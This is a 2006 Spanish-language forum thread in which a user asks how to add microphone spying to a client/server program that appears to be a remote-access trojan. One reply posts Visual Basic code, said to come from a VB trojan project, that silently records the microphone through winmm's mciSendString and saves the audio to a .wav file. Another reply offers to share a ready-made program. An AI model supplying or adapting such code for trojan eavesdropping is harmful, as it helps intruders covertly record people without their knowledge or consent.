|
Título: Enviar El sonido del micrófono a través de un Cliente/Servidor??? Publicado por: WarGhost en 25 Febrero 2006, 20:10 pm Este es mi primer post en esta comunidad y me gustaría dar un saludo a todos los usuarios.
Vamos con el tema en concreto, estoy haciendo un Cliente/Servidor y me gustaría ponerle la Función de Espiar el sonido del micrófono, pero no tengo ni idea, Alguien me podría echar una mano por favor? ;D Salu2, WarGhost Título: Re: Enviar El sonido del micrófono a través de un Cliente/Servidor??? Publicado por: Sancho.Mazorka en 26 Febrero 2006, 22:08 pm oye man yo tengo hecho un programa asi yo te agrego y despues por msn te lo paso.
Sancho.Mazorka :P Título: Re: Enviar El sonido del micrófono a través de un Cliente/Servidor??? Publicado por: BenRu en 26 Febrero 2006, 22:45 pm Este code lo aporto kizar a la creacion del troyano en vb.
Código: 'Declaraciones Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long Dim Result& Dim ReturnString As String * 1024 'En un procedimiento 'Abrimos Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0) 'Ponemos el formato del sonido Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0) 'Grabamos sonido del microfono (tiempo en milisegundos) Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0) 'Teneis k poner un code k haga que el programa espere a k pasen los milisegundos indicados antes 'Guardamos el sonido en un archivo .wav Result& = mciSendString("save mysound C:\las.wav", ReturnString, Len(ReturnString), 0) 'Cerramos Result& = mciSendString("close mysound", ReturnString, 1024, 0) Un saludo Título: Re: Enviar El sonido del micrófono a través de un Cliente/Servidor??? Publicado por: WarGhost en 27 Febrero 2006, 11:50 am Ok, Muchas gracias a todos ya me a quedado mas claro.
;D Salu2, WarGhost |